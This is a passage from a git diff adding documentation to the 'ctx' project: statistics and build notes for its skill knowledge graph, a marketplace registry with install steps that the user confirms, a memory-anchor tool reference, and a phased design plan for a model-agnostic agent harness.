Skills.sh skill nodes | **90,846** (`skill`, `status=remote-cataloged`) | +| Total edges | **1,031,011** | +| Curated core edges | **963,492** | +| Skills.sh metadata edges | **67,519** | +| Communities | **22** (Louvain over the curated core) | +| Edge sources (overlap-deduped) | semantic 210,248 - tag 597,017 - token 314,945 | +| Cross-type edges (skill <-> agent) | ~222K | +| Cross-type edges (skill <-> MCP) | ~62K | +| Cross-type edges (agent <-> MCP) | ~13K | +| Harness edges | **224** (`text-to-cad` -> 126 curated skills, 44 Skills.sh skills, 40 MCP servers, 14 agents) | +| Skills.sh catalog | **90,846** observed entries (`external-catalogs/skills-sh/catalog.json` + `entities/skills/skills-sh-*.md`) | + +## Install + +Extract the tarball into your `~/.claude/skill-wiki/` to get a +ready-to-query graph plus every shipped skill/agent/MCP entity page, +cataloged harness pages when present, remote-cataloged Skills.sh skill +pages, concept pages, and converted micro-skill pipelines. The extracted +tree also includes the Skills.sh catalog JSON used by the shared +recommender: + +```bash +mkdir -p ~/.claude/skill-wiki +tar xzf graph/wiki-graph.tar.gz -C ~/.claude/skill-wiki/ +``` + +The extracted tree also opens directly as an Obsidian vault — the +`.obsidian/` config ships inside the tarball — so you can use +Obsidian's native graph view if you prefer it to the web dashboard. + +## How edges are built + +Two sources of connectivity, combined at build time by the +`ctx-wiki-graphify` console script (`ctx.core.wiki.wiki_graphify`): + +1. **Explicit frontmatter tags** — each entity page's YAML `tags:` + list contributes edges between every pair of entities that share + a tag. Popular tags capped at 500 nodes to avoid noise-floor + "everything connects to everything" mega-buckets like `typescript` + or `frontend`. +2. **Slug-token pseudo-tags** — each hyphenated slug contributes its + tokens as implicit tags. `fastapi-pro` contributes `fastapi`; + `python-patterns` contributes `python` and `patterns`. A stop-word + filter drops generic tokens like `skill`, `agent`, `pro`, `expert`, + `core` so they don't over-connect the graph. + +Edge `weight` is the count of shared tags between two nodes. Edge +`shared_tags` is the list of the actual tags that produced the edge, +so any single edge is explainable (e.g. `cloud-architect ↔ terraform- +engineer` has `weight=6` with `shared_tags=[automation, azure, +security, _t:architect, ...]`). + +## Communities + +After edges are built, `wiki_graphify` runs NetworkX's Louvain +community detection (`resolution=1.2`, `seed=42` for determinism). +The result is **22 communities** ranging from single-member isolated +specialists to several thousand members in broad clusters like +`Community + Official + AI`. Each community also gets an auto-generated +`concepts/.md` wiki page summarizing its members and top +shared tags. + +The legacy CNM ("greedy modularity") algorithm is still available +behind `CTX_GRAPH_COMMUNITY=cnm` — it's deterministic but O(n²) on +dense graphs and hangs on the live 13K-node dataset (~50min run was +killed on 2026-04-27 inside the priority-queue siftup). Louvain is +the default because it finishes in seconds and produces equivalent +quality clusters for the recommendation use case. + +## Querying the graph + +### Via the dashboard + +```bash +ctx-monitor serve # http://127.0.0.1:8765 +``` + +Then open `/graph?slug=` for a cytoscape +neighborhood view, or `/api/graph/.json?hops=1&limit=40` for the +dashboard-shaped JSON. `ctx-monitor` does not yet offer harness filters, +styling, or wiki routes; use the Python/API recommendation surfaces for +harness-aware graph results. See the [dashboard reference](dashboard.md) +for the full route catalogue. + +### Via Python + +```python +import json +from pathlib import Path +from networkx.readwrite import node_link_graph + +raw = json.loads( + Path("~/.claude/skill-wiki/graphify-out/graph.json").expanduser().read_text() +) +edges_key = "links" if "links" in raw else "edges" +G = node_link_graph(raw, edges=edges_key) + +# 104,066 nodes, 1,031,011 edges +print(G.number_of_nodes(), G.number_of_edges()) + +# Find entities related to 'fastapi-pro' by edge weight +seed = "skill:fastapi-pro" +neighbors = sorted( + G.neighbors(seed), + key=lambda n: G[seed][n]["weight"], + reverse=True, +)[:10] +for n in neighbors: + shared = G[seed][n].get("shared_tags", []) + print(f" w={G[seed][n]['weight']:>2} {G.nodes[n]['label']:<40} {shared[:3]}") +``` + +The node-link JSON schema's edges key is auto-detected (legacy +NetworkX 2.x used `"links"`; current versions default to `"edges"`). +The helper `resolve_graph.load_graph()` does this for you. + +### Via recommendation paths + +The graph backs two recommendation paths: + +- Free-text recommendation surfaces (`ctx.recommend_bundle`, MCP + `ctx__recommend_bundle`, generic harness tools, and Claude Code hook + suggestions) share `ctx.core.resolve.recommendations.recommend_by_tags`. + That engine ranks skills, agents, MCP servers, and harnesses by + slug-token matches, tag overlap, graph degree, and semantic-cache + signals when available. Skills.sh results are `skill` nodes with + `source_catalog=skills.sh`, `detail_url`, `install_command`, duplicate + hints, and metadata-only quality/security signals. If an older + extracted wiki has the Skills.sh catalog JSON but no graph nodes for + those records, the same recommender falls back to the catalog file. +- Repository scans still start from stack detections and installed-entity + availability. `resolve_skills.resolve()` maps detected languages, + frameworks, infrastructure, and tools through the shared stack matrix, then + uses the graph as an advisory augmentation source for additional installed + skills, agents, and MCP server suggestions, plus catalog-only harness + recommendations where the scan includes them. + +This split is intentional: free-text query surfaces need identical ranking, +while scan resolution also has to respect local installation state and the +manifest cap. + +## Rebuilding + +After you add a skill, agent, MCP server, or harness entity page: + +```bash +ctx-wiki-graphify # rebuild entity graph + communities +``` + +The pre-commit hook (`.githooks/pre-commit`) re-runs this +automatically when `skills/` or `agents/` are staged, and repacks +the tarball on disk so `README.md` numbers never drift. Run +`ctx-wiki-graphify` directly for MCP server or harness catalog changes +if your hook config does not include those paths. + +## Edge-count history + +| Version | Edges | Note | +|---|---|---| +| v0.5.x | 642K (stale) / 861 (live) | Bundle had stale 642K; live rebuild silently produced 861 because `DENSE_TAG_THRESHOLD=20` dropped every popular tag. | +| v0.6.0 | 454,719 | Threshold raised to 500, multi-line YAML lists parsed, slug-token pseudo-tags added. | +| v0.7.x | 847,207 | Pulsemcp ingest added 10,786 MCP server nodes; sentence-embedding semantic edges added. | +| 2026-04-27 (this release) | **963,068** | +21 mattpocock skills, +156 designdotmd designs (+106,702 edges); patch-path bug fixed (graphify now forces full rebuild when prior graph has 0 semantic edges but current run computed semantic pairs); community detection switched from CNM to Louvain. | +| 2026-04-29 Skills.sh remote-cataloged pass | **1,030,831** | +90,846 first-class `skill` nodes, +90,846 skill pages, and +67,519 sparse duplicate/tag metadata edges to the curated graph. Full-body semantic edges are intentionally deferred to the hydration pass. | + +The full audit history lives in `CHANGELOG.md`. The current build is +fully reproducible from the wiki content. + +## Pre-ship gates + +Two advisory gates run before the tarball is repackaged. Both produce +review reports and never auto-modify the catalog. + +- **`ctx-dedup-check`** — flags entity pairs (skill ↔ skill, skill ↔ + agent, skill ↔ MCP, agent ↔ agent, agent ↔ MCP, MCP ↔ MCP) at or + above 0.85 cosine similarity. Incremental: keeps a `dedup-state.json` + next to the embedding cache, so follow-up runs only re-check pairs + involving entities whose content changed. Allowlist support via + `.dedup-allowlist.txt`. The current snapshot has 15,976 findings, + most of which are within-MCP near-duplicates (multiple wrappers + around the same upstream service). +- **`ctx-tag-backfill`** — finds skills/agents with empty `tags:` + frontmatter and proposes a backfill drawn from slug tokens, body + keywords, and the existing tag vocabulary. Report-only by default; + pass `--apply` to write. Backfills are additive only. diff --git a/docs/marketplace-registry.md b/docs/marketplace-registry.md new file mode 100644 index 0000000000000000000000000000000000000000..7ac29c96f25cf18953b38621b479ff46ddb06311 --- /dev/null +++ b/docs/marketplace-registry.md @@ -0,0 +1,157 @@ +# Marketplace Registry + +> Known skill/plugin marketplaces and how to interact with them. +> The router queries these when it detects a stack gap (needed skill not installed). + +## Registered Marketplaces + +### 1. Local Skills Directory + +```yaml +name: local +type: filesystem +path: /mnt/skills/ +scan_method: directory listing +refresh: always current +priority: 1 # check first +``` + +List all installed skills: +```bash +find /mnt/skills/ -name "SKILL.md" -maxdepth 3 +``` + +### 2. User Skills Directory + +```yaml +name: user-local +type: filesystem +path: /mnt/skills/user/ +scan_method: directory listing +refresh: always current +priority: 2 +``` + +User-uploaded or custom skills. Same scan as local but separate namespace. + +### 3. Example Skills + +```yaml +name: examples +type: filesystem +path: /mnt/skills/examples/ +scan_method: directory listing +refresh: always current +priority: 3 +``` + +Bundled example skills that may not be active but can be copied to user skills. + +### 4. GitHub Skill Repos + +```yaml +name: github +type: git +base_url: https://github.com +search_method: topic search "claude-skill" OR "hermes-skill" +install_method: git clone + copy SKILL.md to /mnt/skills/user/ +refresh: on-demand +priority: 5 +``` + +Search pattern: +```bash +# Via GitHub API (if available) +curl -s "https://api.github.com/search/repositories?q=topic:claude-skill&sort=stars" + +# Via web search fallback +web_search "claude skill github site:github.com" +``` + +### 5. npm Registry (for JS/TS skills packaged as npm) + +```yaml +name: npm +type: package-registry +base_url: https://registry.npmjs.org +search_method: keyword search "claude-skill" +install_method: npm install -g +refresh: on-demand +priority: 6 +``` + +### 6. PyPI (for Python skills packaged as pip) + +```yaml +name: pypi +type: package-registry +base_url: https://pypi.org +search_method: keyword search "claude-skill" OR "hermes-skill" +install_method: pip install +refresh: on-demand +priority: 6 +``` + +--- + +## Marketplace Query Protocol + +When the resolver identifies a gap (stack detected, no skill available): + +``` +1. Check local -> user-local -> examples (instant, filesystem) +2. If not found, check wiki for cached marketplace data +3. If cache is stale or empty: + a. Query GitHub topics + b. Query npm/pypi if relevant language + c. Cache results in raw/marketplace-dumps/ + d. Create new entity pages for discovered skills, or emit an update review + for existing pages +4. Present findings to user with install commands +``` + +## Caching + +Marketplace results are cached in the wiki at: +``` +raw/marketplace-dumps/-YYYY-MM.md +``` + +Each dump is a markdown table: + +```markdown +# GitHub Marketplace Dump -- 2026-04 + +| Name | URL | Stars | Description | Stacks | Last Updated | +|------|-----|-------|-------------|--------|--------------| +| ... | ... | ... | ... | ... | ... | +``` + +Refresh policy: controlled by `refresh_interval_days` on each marketplace's +entity page. Default 7 days. User can override per marketplace. + +## Installing from Marketplace + +The install flow: +1. Router suggests: "The `terraform` skill is available on GitHub. Install it?" +2. User confirms +3. Router executes: + ```bash + # GitHub example + git clone https://github.com/user/terraform-skill.git /tmp/terraform-skill + cp -r /tmp/terraform-skill /mnt/skills/user/terraform/ + rm -rf /tmp/terraform-skill + ``` +4. Create the entity page in the wiki; if one already exists, show the + benefits/risks update review and require `--update-existing` before + replacing it +5. Add to current manifest and load +6. Log the install + +## Security Notes + +- Never auto-install without user confirmation +- Always show the source URL before installing +- For git repos: check for SKILL.md at root, reject if missing +- Never execute arbitrary scripts from marketplace skills without user review +- Warn if a skill requires network access or system-level permissions diff --git a/docs/memory-anchor.md b/docs/memory-anchor.md new file mode 100644 index 0000000000000000000000000000000000000000..eeff90194d7fdb8c93b468af08e5b2d5a9db2e92 --- /dev/null +++ b/docs/memory-anchor.md @@ -0,0 +1,102 @@ +# Memory anchoring + +[`src/memory_anchor.py`](https://github.com/stevesolun/ctx/blob/main/src/memory_anchor.py) +walks the auto-memory store and flags references that no longer +resolve against the current repository. + +## Why it exists + +Claude's auto-memory accumulates notes that look like: + +> Fixed the `add_skill()` bug in `src/skill_loader.py:42`. See also +> `docs/intent-interview.md`. + +Those backtick references rot as the codebase moves. A renamed file, a +deleted module, a moved doc — and the memory silently points at +nothing. `memory_anchor` turns that silent rot into a loud dashboard. + +## Where it looks + +Memory files live under: + +```text +~/.claude/projects//memory/*.md +``` + +The module recursively scans that tree. You can override the root with +`--memory-root` (useful for tests or multi-project setups). + +## What counts as a reference + +Only tokens inside **backtick code spans** qualify. The heuristic is +deliberately conservative to keep false positives low: + +- known extension (`.py`, `.md`, `.json`, `.yml`, `.ts`, `.rs`, …), or +- contains a `/` with a dotted final segment. + +Tokens with whitespace, `()` suffixes, `http(s)://` prefixes, or leading +`-` are rejected up front. A trailing `:` is parsed as a line +suffix — `:` without digits is preserved (keeps Windows drive letters +intact). + +## How resolution works + +For each extracted reference, the module asks whether it resolves: + +1. tilde-expand, if `~/…` +2. if absolute, does the path exist? +3. does `repo_root / path` exist? +4. does `repo_root / src / path` exist? + +If any candidate hits, the ref is *live*; otherwise *dead*. + +## CLI + +```bash +# JSON report for downstream tooling +python -m memory_anchor scan + +# Human dashboard +python -m memory_anchor dashboard + +# CI gate: exit 2 if any dead references remain +python -m memory_anchor check --strict + +# Override repo / memory roots +python -m memory_anchor check --strict \ + --repo-root /path/to/repo \ + --memory-root /path/to/project/memory +``` + +When `--repo-root` is omitted, the module walks upward from the current +directory to the nearest `.git/` ancestor. + +## Data model + +```python +@dataclass(frozen=True) +class AnchorRef: + raw: str # exactly the backtick contents + path: str # path sans trailing : + line: int | None + exists: bool + +@dataclass(frozen=True) +class MemoryAnchorFile: + memory_path: str + refs: tuple[AnchorRef, ...] + # derived: .live, .dead + +@dataclass(frozen=True) +class AnchorReport: + generated_at: float + repo_root: str + memory_root: str + files: tuple[MemoryAnchorFile, ...] + # derived: .all_refs, .live_count, .dead_count, .has_dead +``` + +## Related + +- [Skill health dashboard](skills-health.md) — structural and drift + checks for the skill + agent catalog. diff --git a/docs/plans/001-model-agnostic-harness.md b/docs/plans/001-model-agnostic-harness.md new file mode 100644 index 0000000000000000000000000000000000000000..19167f1625d9c9fe2fcec9eeed207da6a4b0cd50 --- /dev/null +++ b/docs/plans/001-model-agnostic-harness.md @@ -0,0 +1,467 @@ +# Plan 001 — Model-Agnostic Harness & Repo Reorganization + +**Status:** APPROVED (2026-04-24) — in execution +**Author:** ctx +**Date:** 2026-04-24 +**Reference:** [Anthropic — Harness design for long-running application development](https://www.anthropic.com/engineering/harness-design-long-running-apps) + +## Decisions (locked 2026-04-24) + +| # | Decision | +|---|---| +| 1 | **Option B — full harness**. ctx *becomes* the harness around any LLM. | +| 2 | **All reorg phases R0–R6**. | +| 3 | **Providers: Ollama (local) + OpenRouter (remote aggregator) as tier-1.** Any OpenRouter-listed model (GPT-5.5, MiniMax, Claude, Gemini, Llama, etc.) works without extra adapters. Direct provider SDKs added only if OpenRouter has a gap. | +| 4 | **Both `~/.ctx/` + `~/.claude/` shipped with configs out of the box.** First `ctx`/`ctx run` invocation works without the user filling in anything. | +| 5 | **B-full reached incrementally ("Anthropic style")** — solo agent → Planner → Evaluator → sprint contracts. Each step ships as its own phase and is only added after measuring the previous step's failure modes. Target end-state is the full three-agent harness; path there is evidence-driven. | +| 6 | **State = JSONL append-only** (Claude Agent SDK pattern). State behind a `StateStore` Protocol so SQLAlchemy/Redis implementations can drop in later. **No LangGraph** — adopting it means adopting its whole graph-based programming model. | +| 7 | **Publish as pip package** after R6 completes (package name TBD: `ctx-harness` candidate). | + +--- + +## 0. TL;DR + +`ctx` is currently built as a **plugin into Claude Code** — it assumes `~/.claude/`, shells out to `claude mcp add/remove`, emits CC's `PostToolUse`/`Stop` hook JSON. Goal: allow `ctx`'s alive-skill / knowledge-graph / recommendation system to run around **any** model (MiniMax, GPT-5.5, local Ollama, etc.). + +**Three interpretations of "use ctx as a harness" — decision needed before we build:** + +1. **(A) Plugin-for-any-harness** — ctx stays a skill/MCP recommendation *library*; ship adapters for Claude Code (today), Aider, Goose, Cline, and any custom host. No agent loop, no while-loop, no provider management. Smallest delta. +2. **(B) Full harness** — ctx *becomes* the harness. We write the while-loop, provider adapter (via LiteLLM), tool dispatcher, context compactor, checkpointer. Claude Code integration becomes one of N hosts. Largest delta; overlaps with OpenAI Agents SDK / LangGraph / SWE-agent. +3. **(C) Hybrid, minimal harness + plugin retained** — Build a *thin* harness (the while-loop + tool dispatch + LiteLLM provider shim) that uses ctx-core's recommendation system. Package the Claude-Code integration as one adapter, generic harness as another. ~80% of option A's simplicity + an actually usable "run against any model" path. + +Recommendation: **(C)**. Rationale at §3. + +Second question: **repo reorganization**. 60+ flat modules under `src/`, tests embedded, no namespace. Proposal: migrate to `src/ctx/{core,adapters,cli,utils}/` over 6 phases. Details at §6. + +--- + +## 1. What Anthropic means by "harness" + +Per the article, a harness is "an orchestration layer that structures how agents execute complex tasks over extended periods." It is scaffolding that compensates for what a model can't yet do alone — and should be systematically stripped away as model capabilities improve ("every component in a harness encodes an assumption about what the model can't do on its own"). + +Core responsibilities Anthropic enumerates: + +| Concern | What it does | In ctx today? | +|---|---|---| +| **Context management** | Compaction, resets, avoiding "context anxiety" near token limits | ❌ (Claude Code handles it) | +| **Task decomposition** | Planner → Generator → Evaluator split | ❌ | +| **State persistence** | Artifacts survive context resets | ⚠️ (skill-manifest.json is persistent; no mid-session artifacts) | +| **QA feedback loops** | Separate evaluator from generator (avoids self-praise) | ❌ | +| **Tool/env integration** | Playwright MCP, git, runtime inspection | ⚠️ (MCP install works, but we don't *orchestrate* tool use) | +| **Interactive testing** | Live browser, code execution during the run | ❌ | +| **Observability** | Read each agent's logs, tune prompts | ⚠️ (telemetry exists, but for installs not for agent runs) | +| **Cost control** | Track $/run, remove scaffolding as models improve | ❌ | +| **Long-running coordination** | Sprint contracts, checkpoints, resumability | ❌ | + +The article's **recommended pattern** is the three-agent architecture: **Planner** (expands vague prompts into detailed specs) → **Generator** (implements iteratively against spec) → **Evaluator** (interactive testing, explicit grading criteria, few-shot calibrated). They communicate via **file-based artifacts**, not inline conversation. + +Anti-patterns called out: solo agent on complex tasks, self-evaluation, vague grading criteria, overspecifying implementation upfront, ignoring model-specific limitations. + +--- + +## 2. Existing harnesses — design space survey + +Full table: §Appendix A. Key findings: + +- **The while-loop is universal.** Every harness implements the same loop: call model → check tool-use → execute → feed result back → repeat. Variations are in what wraps the loop. +- **Tool dispatch splits into two camps:** native-schema (OpenAI/Claude tool-use JSON) vs protocol (MCP, XML-in-system-prompt, Agent-Computer Interface). **MCP has emerged as the cross-harness interoperability standard** (Cline, Goose, Claude Agent SDK, OpenHands all speak MCP). +- **Multi-model support = LiteLLM substrate.** Aider, SWE-agent, OpenAI Agents SDK all delegate to LiteLLM for the N-provider problem. Reinventing that is industry anti-pattern. Strix (the pen-test tool we ran last session) already uses LiteLLM. **Decision: LiteLLM is a fixed dependency, never something to reimplement.** +- **Checkpointing separates research from production harnesses.** LangGraph's per-step checkpointing is best-in-class; Claude Agent SDK does session-level resume via JSONL replay; Aider treats git commits as implicit checkpoints; Cline/Goose have none. +- **Plugin surfaces = hooks | graph-nodes | MCP-servers.** MCP is the winner for cross-tool interop. + +**Top 3 prior-art references:** +1. **LiteLLM** — substrate, not prior art to copy. Fixed dependency. +2. **SWE-agent** — cleanest "Agent-Computer Interface" abstraction. Separates agent / environment / models. Mini-SWE-agent is 100 lines and scores >74% SWE-bench. Directly instructive. +3. **OpenAI Agents SDK** — best model for public API shape (Agents + Handoffs + Guardrails + Session). Study its `ModelProvider` protocol. + +--- + +## 3. Strategic options — pick one + +### Option A: Plugin-for-any-harness (LIBRARY-FIRST) + +Users wire `ctx` into *their* harness (Claude Code today, Aider/Goose/Cline/their-custom-loop tomorrow). + +**What ships:** +- Stable Python API: `from ctx.core import bundle_for_query, resolve_skills, install_entity` etc. +- Stable CLI surface unchanged (`ctx-skill-install`, `ctx-mcp-install`) +- One MCP server (`ctx-mcp-server`) that exposes `ctx.recommend_bundle(query)` / `ctx.install(slug)` / `ctx.graph_query(seeds)` as MCP tools — any MCP-speaking harness can call it +- Claude Code integration stays as today; it's just one more MCP consumer + +**What does NOT ship:** +- No agent loop +- No provider adapter +- No model calls from ctx code + +**Pros:** Tiny delta. No competition with existing harnesses. Plays the MCP interop card. ctx stays a library, which is its actual differentiator. +**Cons:** Users still need their own harness. Doesn't answer "run ctx around MiniMax" — it answers "run MiniMax inside a harness that happens to use ctx's MCP server." + +### Option B: Full harness (HARNESS-FIRST) + +We write a full harness — while-loop, provider abstraction, tool dispatch, context compaction, checkpointing, multi-agent (Planner/Generator/Evaluator). + +**Pros:** User can `ctx run --provider=openai --model=gpt-5.5 "build me a todo app"` and actually get autonomous behavior. +**Cons:** We'd be building a worse SWE-agent / worse OpenAI Agents SDK / worse LangGraph. Our differentiator (alive skills + graph + quality) gets buried under undifferentiated agent-loop code. Huge surface to maintain. We've never built a production harness. + +### Option C: Hybrid — minimal harness + plugin retained (RECOMMENDED) + +Thin harness layer: LiteLLM-backed provider shim + bare while-loop + MCP-based tool dispatch. Reuses **ctx-core** (graph/quality/resolve/wiki — already provider-agnostic) as its recommendation layer. Claude Code integration becomes one adapter among N. + +**What ships (minimum viable harness):** +``` +ctx run --provider openai --model gpt-5.5 \ + --mcp ctx,filesystem,github \ + --task "fix the failing tests in this repo" +``` + +Internally: +1. LiteLLM routes calls to the chosen provider. +2. ctx-core resolves the task → suggests a skill/agent/MCP bundle → auto-attaches relevant MCPs. +3. Thin while-loop: call model, check tool-use, dispatch via MCP, feed back. +4. State: append-only JSONL session file (same pattern as Claude Agent SDK). Context compaction via OpenAI Agents SDK's pattern or direct `litellm.completion()` with summarization. +5. Checkpointing is optional — start without, add LangGraph-style later if users need it. + +**What does NOT ship in v1:** +- Planner/Generator/Evaluator split (we defer Anthropic's pattern until there's demand — it's load-bearing in the Anthropic article specifically for *product-build* tasks, not general coding) +- Interactive Playwright testing +- Time-travel debugging + +**Pros:** +- Actually delivers "run around any model" +- Leverages the existing ctx-core (which is already model-agnostic — per §4 inventory, 4 modules are ready today) +- LiteLLM does 90% of the provider-adapter work +- Minimum-surface harness — small enough to maintain while we focus on the skill/graph differentiator +- Path to (A) if we decide we don't want the harness — just stop shipping `ctx run` and keep the MCP server + +**Cons:** +- More code than Option A +- We own the loop, so bugs in context compaction / error recovery are ours +- Per the Anthropic article, *our harness encodes our assumptions about model limits* — we have to revisit as models improve + +### Recommendation: **C** + +The decision fork is really "do we ship a runnable harness, or just a library." If the user's end-state is "wrap MiniMax / GPT-5.5 with ctx," option A requires the user to bring their own loop, which means they need another tool. Option C delivers the end-state with minimum new surface, and keeps A's escape hatch (the MCP server is still useful to other harnesses). + +--- + +## 4. Current coupling inventory (what has to move) + +From the CC-specific audit: **~46 references across 12 modules** need to change. Categorized: + +### MUST refactor (coupled to Claude Code specifically) + +| Module | What's coupled | Refactor | +|---|---|---| +| `ctx_config.py` | Path defaults → `~/.claude/*` | Config becomes per-adapter; adapter supplies its own paths | +| `bundle_orchestrator.py` | Emits CC `hookSpecificOutput` JSON | Output becomes adapter-provided (CC adapter keeps today's shape; generic adapter emits plain text / structured JSON for harness consumption) | +| `context_monitor.py` | Writes `~/.claude/pending-skills.json` | Same — adapter decides the sink path | +| `mcp_install.py` | `subprocess.run(["claude", "mcp", ...])` | Split: `mcp_install_core` (wiki state + manifest) vs `mcp_install_claude` (CC shell-out). Generic adapter writes MCP config to an adapter-owned `.mcp.json` or sends SIGHUP to the host harness. | +| `inject_hooks.py` | Writes CC `~/.claude/settings.json` | Adapter-specific — CC adapter only | +| `skill_loader.py`, `skill_health.py` | CC skill-auto-load assumption | Split loader body from CC-specific launch | +| `skill_suggest.py` (shim) | PostToolUse → bundle_orchestrator | Adapter-specific | + +### Already provider-agnostic (**no refactor**) + +| Module | Why it's portable | +|---|---| +| `resolve_graph.py`, `semantic_edges.py` | Pure NetworkX + numpy. No LLM dependency. | +| `resolve_skills.py` | Pure ranking. Uses tags/signals but those come from the query, not from CC. | +| `quality_signals.py`, `skill_quality.py`, `mcp_quality.py` | Pure heuristic scoring. | +| `wiki_utils.py`, `wiki_sync.py`, `wiki_graphify.py`, `wiki_query.py` | Generic YAML frontmatter + file layout. Wiki *root path* comes from config, not CC. | +| `catalog_builder.py` | Reads filesystem, writes markdown. No coupling. | + +**Net: the model-agnostic core is ~60% of the codebase today.** The adapter work is the remaining ~40%. + +--- + +## 5. Target architecture + +``` +src/ctx/ +├── __init__.py # public API re-exports +│ +├── core/ # provider-agnostic business logic +│ ├── graph/ # resolve_graph + semantic_edges +│ ├── quality/ # quality_signals + skill/mcp_quality +│ ├── wiki/ # wiki_{sync,graphify,query,utils} +│ ├── resolve/ # resolve_skills + stack_skill_map +│ └── bundle/ # bundle_orchestrator (adapter-neutral part) +│ +├── adapters/ # per-host integrations +│ ├── claude_code/ # TODAY's integration +│ │ ├── hooks/ # post_tool_use.py, stop.py, etc. +│ │ ├── install/ # skill_install, agent_install, mcp_install (CC branch) +│ │ ├── inject.py # inject_hooks equivalent +│ │ └── adapter.py # declares how CC speaks to ctx-core +│ │ +│ └── generic/ # NEW — model-agnostic harness +│ ├── loop.py # the while-loop +│ ├── providers/ # LiteLLM wrapper + per-provider quirks +│ │ ├── litellm_provider.py +│ │ └── direct_anthropic.py # optional bypass for tool-use fidelity +│ ├── tools/ +│ │ ├── mcp_router.py # MCP-first tool dispatch +│ │ └── registry.py +│ ├── state.py # JSONL session, resume, no checkpoint yet +│ ├── context.py # compaction (simple summary strategy v1) +│ └── adapter.py # declares how the generic harness speaks to ctx-core +│ +├── cli/ # all user-facing CLIs +│ ├── skill_install.py # ctx-skill-install (wraps adapter) +│ ├── agent_install.py # ctx-agent-install +│ ├── mcp_install.py # ctx-mcp-install +│ ├── run.py # NEW: ctx run --provider=... --model=... +│ ├── graphify.py # ctx-wiki-graphify +│ └── ... +│ +├── mcp_server/ # NEW: expose ctx-core over MCP +│ └── server.py # ctx-mcp-server → tools: recommend_bundle, install, graph_query +│ +└── utils/ # _safe_name, _fs_utils, _file_lock +``` + +### Data flow — generic harness + +``` + user query + │ + ▼ + ctx/cli/run.py ──────────────────────────── (resolve provider from --provider flag) + │ + ▼ + ctx/adapters/generic/loop.py + │ + ├──► ctx/core/resolve (pick top-K skill/agent/MCP bundle) + │ └──► ctx/core/graph + ctx/core/quality (provider-agnostic) + │ + ├──► ctx/adapters/generic/providers/litellm_provider (model call) + │ └──► openai / minimax / gemini / anthropic / ollama / … + │ + ├──► ctx/adapters/generic/tools/mcp_router (tool dispatch) + │ └──► attached MCP servers (including ctx's own mcp_server!) + │ + └──► ctx/adapters/generic/state (append session JSONL) +``` + +### Data flow — Claude Code (unchanged UX) + +``` + CC hook fires + │ + ▼ + ctx/adapters/claude_code/hooks/post_tool_use.py + │ + ├──► ctx/core/resolve (same code path) + ├──► ctx/core/bundle (same) + └──► emit CC hookSpecificOutput JSON (adapter-specific) +``` + +Both flows share `core/`. The adapter folders own only the thin edges. + +--- + +## 6. Repo reorganization — phased migration + +Per CLAUDE.md phased-execution rule: **max 5 files per phase**, each phase ships green before the next starts. + +### Phase R0 — scaffolding only (no code moves) +- Create `src/ctx/__init__.py`, `src/ctx/core/`, `src/ctx/adapters/`, `src/ctx/cli/`, `src/ctx/utils/` (empty dirs + `__init__.py`) +- Update `pyproject.toml` to declare `packages = ["ctx", "ctx.core", ...]` alongside existing flat `py-modules` (transitional — both work) +- Add `docs/plans/001-model-agnostic-harness.md` (this file) +- Files touched: ~8 (all new) +- Verification: full suite still 2,654 passing + +### Phase R1 — move utilities +- Move `_safe_name.py`, `_fs_utils.py`, `_file_lock.py` → `src/ctx/utils/` +- Update imports in every dependent module to `from ctx.utils import ...` +- Keep legacy shim: `src/_safe_name.py` → `from ctx.utils._safe_name import *` (deprecation) +- Files touched: 3 source + ~15 import updates across the codebase +- Verification: suite green + +### Phase R2 — move graph/quality/resolve core (already pure) +- Move `resolve_graph.py`, `resolve_skills.py`, `semantic_edges.py`, `stack_skill_map.py`, `quality_signals.py` → `src/ctx/core/` +- Files touched: 5 +- Verification: suite green + +### Phase R3 — move wiki +- Move `wiki_utils.py`, `wiki_sync.py`, `wiki_graphify.py`, `wiki_query.py`, `wiki_lint.py` → `src/ctx/core/wiki/` +- Files touched: 5 + +### Phase R4 — move Claude Code adapter code +- Move `mcp_install.py`, `skill_install.py`, `agent_install.py` → `src/ctx/adapters/claude_code/install/` +- Move `bundle_orchestrator.py`, `skill_suggest.py`, `context_monitor.py` → `src/ctx/adapters/claude_code/hooks/` +- Move `inject_hooks.py` → `src/ctx/adapters/claude_code/` +- Files touched: ~8 — **exceeds 5-file phase rule, split across R4a + R4b** + +### Phase R5 — CLI entrypoints +- Thin wrappers under `src/ctx/cli/` — each is ~10 lines re-exporting from its adapter +- Update `pyproject.toml` scripts section +- Files touched: ~6 + +### Phase R6 — tests mirror the package tree +- Move `src/tests/test_resolve_graph*.py` → `tests/core/test_resolve_graph*.py` +- And so on +- Largest phase but mechanical. Split if necessary. + +After R6: drop legacy shims, drop flat `py-modules` from pyproject.toml, single `packages = ["ctx"]`. + +### Git hygiene per phase +- Each phase = one commit with test verification +- Use `git mv` so history follows the files (not `delete+add`) +- Conventional commit prefixes: `refactor(repo): phase R1 — move utilities to ctx.utils` +- Don't mix R-phases with feature commits. Freeze feature work during the R-sequence or branch. + +--- + +## 7. Harness work — phased after repo is reorganized + +(All phases below assume repo is post-R6.) + +### Phase H1 — provider adapter skeleton +- `src/ctx/adapters/generic/providers/litellm_provider.py`: thin wrapper with `complete(messages, tools=None, **kwargs)` returning a provider-normalized response shape +- Config: `~/.ctx/harness-config.json` with `{provider, model, api_key_env, base_url}` — NOT in `~/.claude/` +- Test: mock LiteLLM, exercise the four main providers (openai, anthropic, gemini, ollama) with fake responses +- Files touched: 3 +- Success criteria: `python -c "from ctx.adapters.generic.providers import complete; print(complete([{'role':'user','content':'hi'}]))"` returns a structured response + +### Phase H2 — MCP router +- `src/ctx/adapters/generic/tools/mcp_router.py`: given a list of MCP server configs, spawn them as subprocesses + maintain stdio streams + route tool calls +- Reuses `claude mcp` schema (MCP is the protocol, not the host) +- Test: spawn a mock MCP server (fs stub), confirm tool list + tool call + tool result round-trip +- Files touched: 4 +- Success criteria: `mcp_router.list_tools(["filesystem"])` returns the server's tool schema + +### Phase H3 — the while-loop +- `src/ctx/adapters/generic/loop.py`: read query, call provider, check for tool_use, dispatch via mcp_router, append to messages, repeat until no tool_use +- Stop conditions: model returns no tool_use | max_iterations | cost_budget_exceeded | user abort +- Test: fake provider that returns 2 tool calls then a plain response; confirm loop runs 3 model calls + 2 tool dispatches +- Files touched: 3 +- Success criteria: a minimal demo task works end-to-end against openai + anthropic + ollama + +### Phase H4 — state & session +- Append-only JSONL per session at `/sessions/.jsonl` +- Resume: `ctx run --resume ` replays the JSONL and continues +- Files touched: 2 + +### Phase H5 — context compaction (v1: summarize-on-overflow) +- When next call would exceed provider's context window, summarize all but last N 